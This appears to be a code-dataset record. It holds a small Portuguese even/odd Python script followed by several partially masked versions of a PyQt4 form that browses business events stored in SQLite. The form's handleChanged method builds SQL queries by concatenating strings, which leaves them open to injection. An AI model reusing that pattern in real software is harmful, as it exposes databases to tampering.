p = 0
i = 0
numero = int(input("Insira um número: "))
if numero % 2 == 0:
p = numero
print (p, "é um número par")
else:
i = numero
print (i, "é um número ímpar") | null | [
0,
1,
2,
3
] |
9,991 | 8339113fd6b0c286cc48ec04e6e24978e2a4b44e | <mask token>
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName(_fromUtf8('Form'))
Form.resize(666, 538)
palette = QtGui.QPalette()
self.eventSkip = 0
self.db = Database()
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)
self.inWork = True
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)
Form.setPalette(palette)
self.tb_EventViewer = QtGui.QTableView(Form)
self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))
self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))
self.tb_EventViewer.horizontalHeader().setVisible(False)
self.tb_EventViewer.verticalHeader().setVisible(False)
self.bt_Earlier = QtGui.QPushButton(Form)
self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))
self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))
self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)
self.bt_Later = QtGui.QPushButton(Form)
self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))
self.bt_Later.setObjectName(_fromUtf8('bt_Later'))
self.bt_Later.clicked.connect(self.clicked_bt_Later)
self.label = QtGui.QLabel(Form)
self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,
brush)
self.label.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8('Segoe UI Light'))
font.setPointSize(18)
font.setBold(True)
font.setWeight(75)
self.label.setFont(font)
self.label.setObjectName(_fromUtf8('label'))
self.cb_EventType = QtGui.QComboBox(Form)
self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))
self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))
self.cb_EventType.currentIndexChanged['QString'].connect(self.
handleChanged)
self.label_2 = QtGui.QLabel(Form)
self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))
self.label_3 = QtGui.QLabel(Form)
self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,
brush)
self.label_2.setPalette(palette)
self.label_3.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8('Segoe UI'))
font.setPointSize(12)
self.label_2.setFont(font)
self.label_2.setObjectName(_fromUtf8('label_2'))
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8('label_3'))
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
self.initialize()
def retranslateUi(self, Form):
Form.setWindowTitle(_translate('Form', 'Revisit business events', None)
)
self.bt_Earlier.setText(_translate('Form', '<<', None))
self.bt_Later.setText(_translate('Form', '>>', None))
self.label.setText(_translate('Form', 'Revisit business events', None))
self.label_2.setText(_translate('Form', 'Select Event Type', None))
def initialize(self):
self.cb_EventType.addItems(self.getBusinessEventsType())
def getBusinessEventsType(self):
conn = sqlite3.connect('../Database/Business.db')
conn.text_factory = str
c = conn.cursor()
c.execute('SELECT Event FROM EventTypes')
locs = [r[0] for r in c.fetchall()]
conn.close()
return locs
def handleChanged(self, text):
modelView = QtGui.QStandardItemModel()
query = QtSql.QSqlQuery()
query.exec_(
"Select * from BusinessEvents a, EventTypes b where b.Event = '" +
text +
"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " +
str(self.eventSkip) + ',1')
recCount = 0
while query.next():
recCount = recCount + 1
if query.value(2).toString() != '':
query_Origin = QtSql.QSqlQuery()
query_Origin.exec_("Select Name from Cities where ID = '" +
query.value(2).toString() + "' LIMIT 1")
query_Origin.next()
modelInputItem = QtGui.QStandardItem('Origin')
modelInputValue = QtGui.QStandardItem(query_Origin.value(0)
.toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(3).toString() != '':
query_Destination = QtSql.QSqlQuery()
query_Destination.exec_(
"Select Name from Cities where ID = '" + query.value(3)
.toString() + "' LIMIT 1")
query_Destination.next()
modelInputItem = QtGui.QStandardItem('Destination')
modelInputValue = QtGui.QStandardItem(query_Destination.
value(0).toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(4).toString() != '':
modelInputItem = QtGui.QStandardItem('Weight')
modelInputValue = QtGui.QStandardItem(query.value(4).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(5).toString() != '':
modelInputItem = QtGui.QStandardItem('Volume')
modelInputValue = QtGui.QStandardItem(query.value(5).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(6).toString() != '':
modelInputItem = QtGui.QStandardItem('Time of Entry')
modelInputValue = QtGui.QStandardItem(query.value(6).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(7).toString() != '':
modelInputItem = QtGui.QStandardItem('Priority')
modelInputValue = QtGui.QStandardItem(query.value(7).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(8).toString() != '':
modelInputItem = QtGui.QStandardItem('Price Per Gram')
modelInputValue = QtGui.QStandardItem(query.value(8).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(9).toString() != '':
modelInputItem = QtGui.QStandardItem('Price Per CC')
modelInputValue = QtGui.QStandardItem(query.value(9).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(10).toString() != '':
modelInputItem = QtGui.QStandardItem('Company')
modelInputValue = QtGui.QStandardItem(query.value(10).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(11).toString() != '':
modelInputItem = QtGui.QStandardItem('Transport Type')
modelInputValue = QtGui.QStandardItem(query.value(11).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(12).toString() != '':
modelInputItem = QtGui.QStandardItem('Day of the Week')
modelInputValue = QtGui.QStandardItem(query.value(12).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(13).toString() != '':
modelInputItem = QtGui.QStandardItem('Frequency')
modelInputValue = QtGui.QStandardItem(query.value(13).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(14).toString() != '':
modelInputItem = QtGui.QStandardItem('Duration')
modelInputValue = QtGui.QStandardItem(query.value(14).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if recCount == 0:
self.label_3.setText(_translate('Form', 'No Records found', None))
self.inWork = False
else:
self.label_3.setText(_translate('Form', '', None))
self.inWork = True
self.tb_EventViewer.setModel(modelView)
def clicked_bt_Earlier(self):
self.eventSkip = self.eventSkip + 1
self.handleChanged(self.cb_EventType.currentText())
<mask token>
class Database:
def __init__(self, parent=None):
self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')
self.data.setDatabaseName('../Database/Business.db')
self.data.open()
| <mask token>
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName(_fromUtf8('Form'))
Form.resize(666, 538)
palette = QtGui.QPalette()
self.eventSkip = 0
self.db = Database()
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)
self.inWork = True
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)
Form.setPalette(palette)
self.tb_EventViewer = QtGui.QTableView(Form)
self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))
self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))
self.tb_EventViewer.horizontalHeader().setVisible(False)
self.tb_EventViewer.verticalHeader().setVisible(False)
self.bt_Earlier = QtGui.QPushButton(Form)
self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))
self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))
self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)
self.bt_Later = QtGui.QPushButton(Form)
self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))
self.bt_Later.setObjectName(_fromUtf8('bt_Later'))
self.bt_Later.clicked.connect(self.clicked_bt_Later)
self.label = QtGui.QLabel(Form)
self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,
brush)
self.label.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8('Segoe UI Light'))
font.setPointSize(18)
font.setBold(True)
font.setWeight(75)
self.label.setFont(font)
self.label.setObjectName(_fromUtf8('label'))
self.cb_EventType = QtGui.QComboBox(Form)
self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))
self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))
self.cb_EventType.currentIndexChanged['QString'].connect(self.
handleChanged)
self.label_2 = QtGui.QLabel(Form)
self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))
self.label_3 = QtGui.QLabel(Form)
self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,
brush)
self.label_2.setPalette(palette)
self.label_3.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8('Segoe UI'))
font.setPointSize(12)
self.label_2.setFont(font)
self.label_2.setObjectName(_fromUtf8('label_2'))
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8('label_3'))
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
self.initialize()
def retranslateUi(self, Form):
Form.setWindowTitle(_translate('Form', 'Revisit business events', None)
)
self.bt_Earlier.setText(_translate('Form', '<<', None))
self.bt_Later.setText(_translate('Form', '>>', None))
self.label.setText(_translate('Form', 'Revisit business events', None))
self.label_2.setText(_translate('Form', 'Select Event Type', None))
def initialize(self):
self.cb_EventType.addItems(self.getBusinessEventsType())
def getBusinessEventsType(self):
conn = sqlite3.connect('../Database/Business.db')
conn.text_factory = str
c = conn.cursor()
c.execute('SELECT Event FROM EventTypes')
locs = [r[0] for r in c.fetchall()]
conn.close()
return locs
def handleChanged(self, text):
modelView = QtGui.QStandardItemModel()
query = QtSql.QSqlQuery()
query.exec_(
"Select * from BusinessEvents a, EventTypes b where b.Event = '" +
text +
"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " +
str(self.eventSkip) + ',1')
recCount = 0
while query.next():
recCount = recCount + 1
if query.value(2).toString() != '':
query_Origin = QtSql.QSqlQuery()
query_Origin.exec_("Select Name from Cities where ID = '" +
query.value(2).toString() + "' LIMIT 1")
query_Origin.next()
modelInputItem = QtGui.QStandardItem('Origin')
modelInputValue = QtGui.QStandardItem(query_Origin.value(0)
.toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(3).toString() != '':
query_Destination = QtSql.QSqlQuery()
query_Destination.exec_(
"Select Name from Cities where ID = '" + query.value(3)
.toString() + "' LIMIT 1")
query_Destination.next()
modelInputItem = QtGui.QStandardItem('Destination')
modelInputValue = QtGui.QStandardItem(query_Destination.
value(0).toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(4).toString() != '':
modelInputItem = QtGui.QStandardItem('Weight')
modelInputValue = QtGui.QStandardItem(query.value(4).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(5).toString() != '':
modelInputItem = QtGui.QStandardItem('Volume')
modelInputValue = QtGui.QStandardItem(query.value(5).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(6).toString() != '':
modelInputItem = QtGui.QStandardItem('Time of Entry')
modelInputValue = QtGui.QStandardItem(query.value(6).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(7).toString() != '':
modelInputItem = QtGui.QStandardItem('Priority')
modelInputValue = QtGui.QStandardItem(query.value(7).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(8).toString() != '':
modelInputItem = QtGui.QStandardItem('Price Per Gram')
modelInputValue = QtGui.QStandardItem(query.value(8).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(9).toString() != '':
modelInputItem = QtGui.QStandardItem('Price Per CC')
modelInputValue = QtGui.QStandardItem(query.value(9).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(10).toString() != '':
modelInputItem = QtGui.QStandardItem('Company')
modelInputValue = QtGui.QStandardItem(query.value(10).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(11).toString() != '':
modelInputItem = QtGui.QStandardItem('Transport Type')
modelInputValue = QtGui.QStandardItem(query.value(11).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(12).toString() != '':
modelInputItem = QtGui.QStandardItem('Day of the Week')
modelInputValue = QtGui.QStandardItem(query.value(12).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(13).toString() != '':
modelInputItem = QtGui.QStandardItem('Frequency')
modelInputValue = QtGui.QStandardItem(query.value(13).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(14).toString() != '':
modelInputItem = QtGui.QStandardItem('Duration')
modelInputValue = QtGui.QStandardItem(query.value(14).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if recCount == 0:
self.label_3.setText(_translate('Form', 'No Records found', None))
self.inWork = False
else:
self.label_3.setText(_translate('Form', '', None))
self.inWork = True
self.tb_EventViewer.setModel(modelView)
def clicked_bt_Earlier(self):
self.eventSkip = self.eventSkip + 1
self.handleChanged(self.cb_EventType.currentText())
def clicked_bt_Later(self):
if self.eventSkip > 0:
self.eventSkip = self.eventSkip - 1
self.handleChanged(self.cb_EventType.currentText())
class Database:
def __init__(self, parent=None):
self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')
self.data.setDatabaseName('../Database/Business.db')
self.data.open()
| <mask token>
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName(_fromUtf8('Form'))
Form.resize(666, 538)
palette = QtGui.QPalette()
self.eventSkip = 0
self.db = Database()
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)
self.inWork = True
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)
Form.setPalette(palette)
self.tb_EventViewer = QtGui.QTableView(Form)
self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))
self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))
self.tb_EventViewer.horizontalHeader().setVisible(False)
self.tb_EventViewer.verticalHeader().setVisible(False)
self.bt_Earlier = QtGui.QPushButton(Form)
self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))
self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))
self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)
self.bt_Later = QtGui.QPushButton(Form)
self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))
self.bt_Later.setObjectName(_fromUtf8('bt_Later'))
self.bt_Later.clicked.connect(self.clicked_bt_Later)
self.label = QtGui.QLabel(Form)
self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,
brush)
self.label.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8('Segoe UI Light'))
font.setPointSize(18)
font.setBold(True)
font.setWeight(75)
self.label.setFont(font)
self.label.setObjectName(_fromUtf8('label'))
self.cb_EventType = QtGui.QComboBox(Form)
self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))
self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))
self.cb_EventType.currentIndexChanged['QString'].connect(self.
handleChanged)
self.label_2 = QtGui.QLabel(Form)
self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))
self.label_3 = QtGui.QLabel(Form)
self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,
brush)
self.label_2.setPalette(palette)
self.label_3.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8('Segoe UI'))
font.setPointSize(12)
self.label_2.setFont(font)
self.label_2.setObjectName(_fromUtf8('label_2'))
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8('label_3'))
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
self.initialize()
def retranslateUi(self, Form):
Form.setWindowTitle(_translate('Form', 'Revisit business events', None)
)
self.bt_Earlier.setText(_translate('Form', '<<', None))
self.bt_Later.setText(_translate('Form', '>>', None))
self.label.setText(_translate('Form', 'Revisit business events', None))
self.label_2.setText(_translate('Form', 'Select Event Type', None))
def initialize(self):
self.cb_EventType.addItems(self.getBusinessEventsType())
def getBusinessEventsType(self):
conn = sqlite3.connect('../Database/Business.db')
conn.text_factory = str
c = conn.cursor()
c.execute('SELECT Event FROM EventTypes')
locs = [r[0] for r in c.fetchall()]
conn.close()
return locs
def handleChanged(self, text):
modelView = QtGui.QStandardItemModel()
query = QtSql.QSqlQuery()
query.exec_(
"Select * from BusinessEvents a, EventTypes b where b.Event = '" +
text +
"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " +
str(self.eventSkip) + ',1')
recCount = 0
while query.next():
recCount = recCount + 1
if query.value(2).toString() != '':
query_Origin = QtSql.QSqlQuery()
query_Origin.exec_("Select Name from Cities where ID = '" +
query.value(2).toString() + "' LIMIT 1")
query_Origin.next()
modelInputItem = QtGui.QStandardItem('Origin')
modelInputValue = QtGui.QStandardItem(query_Origin.value(0)
.toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(3).toString() != '':
query_Destination = QtSql.QSqlQuery()
query_Destination.exec_(
"Select Name from Cities where ID = '" + query.value(3)
.toString() + "' LIMIT 1")
query_Destination.next()
modelInputItem = QtGui.QStandardItem('Destination')
modelInputValue = QtGui.QStandardItem(query_Destination.
value(0).toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(4).toString() != '':
modelInputItem = QtGui.QStandardItem('Weight')
modelInputValue = QtGui.QStandardItem(query.value(4).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(5).toString() != '':
modelInputItem = QtGui.QStandardItem('Volume')
modelInputValue = QtGui.QStandardItem(query.value(5).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(6).toString() != '':
modelInputItem = QtGui.QStandardItem('Time of Entry')
modelInputValue = QtGui.QStandardItem(query.value(6).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(7).toString() != '':
modelInputItem = QtGui.QStandardItem('Priority')
modelInputValue = QtGui.QStandardItem(query.value(7).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(8).toString() != '':
modelInputItem = QtGui.QStandardItem('Price Per Gram')
modelInputValue = QtGui.QStandardItem(query.value(8).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(9).toString() != '':
modelInputItem = QtGui.QStandardItem('Price Per CC')
modelInputValue = QtGui.QStandardItem(query.value(9).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(10).toString() != '':
modelInputItem = QtGui.QStandardItem('Company')
modelInputValue = QtGui.QStandardItem(query.value(10).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(11).toString() != '':
modelInputItem = QtGui.QStandardItem('Transport Type')
modelInputValue = QtGui.QStandardItem(query.value(11).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(12).toString() != '':
modelInputItem = QtGui.QStandardItem('Day of the Week')
modelInputValue = QtGui.QStandardItem(query.value(12).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(13).toString() != '':
modelInputItem = QtGui.QStandardItem('Frequency')
modelInputValue = QtGui.QStandardItem(query.value(13).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(14).toString() != '':
modelInputItem = QtGui.QStandardItem('Duration')
modelInputValue = QtGui.QStandardItem(query.value(14).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if recCount == 0:
self.label_3.setText(_translate('Form', 'No Records found', None))
self.inWork = False
else:
self.label_3.setText(_translate('Form', '', None))
self.inWork = True
self.tb_EventViewer.setModel(modelView)
def clicked_bt_Earlier(self):
self.eventSkip = self.eventSkip + 1
self.handleChanged(self.cb_EventType.currentText())
def clicked_bt_Later(self):
if self.eventSkip > 0:
self.eventSkip = self.eventSkip - 1
self.handleChanged(self.cb_EventType.currentText())
class Database:
def __init__(self, parent=None):
self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')
self.data.setDatabaseName('../Database/Business.db')
self.data.open()
| from PyQt4 import QtCore, QtGui, QtSql
import sqlite3
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName(_fromUtf8('Form'))
Form.resize(666, 538)
palette = QtGui.QPalette()
self.eventSkip = 0
self.db = Database()
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)
self.inWork = True
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)
Form.setPalette(palette)
self.tb_EventViewer = QtGui.QTableView(Form)
self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))
